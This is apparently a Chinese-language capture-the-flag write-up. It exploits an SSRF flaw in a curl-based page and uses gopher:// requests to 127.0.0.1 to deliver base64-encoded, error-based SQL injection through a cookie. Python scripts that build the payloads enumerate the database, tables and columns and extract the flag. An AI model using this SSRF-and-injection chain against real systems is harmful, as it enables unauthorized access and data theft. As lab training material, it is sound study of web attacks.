題目有一行提示:
you are not an inner user, so we can not let you have identify~(你不是內部用戶,所以我們不能讓你進行身份驗證)聯想到可能存在SSRF漏洞,一般情況下,SSRF攻擊的目標是外網無法訪問的內部系統(正是因為請求是由服務器發起的,所以服務器能請求到與自身相連而與外網隔離的內部系統),所以根據提示內容會想到SSRF漏洞
查看源碼,提示存在use.php
頁面顯示:你想用curl命令訪問的網址是什么?
SSRF的形成大多是由于服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾或限制,我們可以讓服務器向自身發送請求(127.0.0.1),這樣可以訪問內網或本地服務
首先利用gopher協議實現內部訪問
import urllib.parse# 目標服務器地址和端口
host = "127.0.0.1:80"# HTTP 請求體的內容
content = "uname=admin&passwd=admin"
content_length = len(content)# 構造 HTTP POST 請求的字符串
test = """POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}{}
""".format(host, content_length, content)# 對請求字符串進行 URL 編碼
encoded_test = urllib.parse.quote(test)# 將換行符 %0A 替換為 %0D%0A,以符合 HTTP 協議
encoded_test = encoded_test.replace("%0A", "%0D%0A")# 構造最終的 Gopher 協議請求
result = "gopher://" + host + "/_" + encoded_testprint(result)
將?host?設為?127.0.0.1:80
是為了:
- 利用 SSRF 讓服務器自己發起 HTTP 請求,嘗試訪問本地 Web 應用中不可從外部訪問的部分。
- 結合 SQL 注入 payload,為了繞過一些限制,間接獲取敏感數據
這段代碼目的是 構造一個請求,用hopher協議發送,目的是讓服務器訪問其自身的 127.0.0.1
地址
抓包獲取可以發現setcookie的值為admin的base64編碼值。
猜測在setcookie處為注入點,首先測試是字符型還是整數型注入,構造payload為 \
?我們可以使用\(轉義字符)來判斷SQL注入的閉合方式。
??? 分析報錯信息:看\斜杠后面跟著的字符,是什么字符,它的閉合字符就是什么,若是沒有,就為數字型
在\后面為'),所以閉合方式為'),
使用報錯注入查詢數據庫
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select database()),0x7e)) #"
//base64編碼,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
查庫security
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e)) #"
//base64編碼,提高注入得成功率
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
查表flag
import urllib.parse
import base64
host = "127.0.0.1:80"
payload = "admin') and extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag'),0x7e)) #"
base64_payload = str(base64.b64encode(payload.encode("utf-8")), "utf-8")
cookie="this_is_your_cookie="+base64_payloadtest =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new)
print("gopher://"+host+"/_"+result)
查內容flag? admin') and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) #
得到flag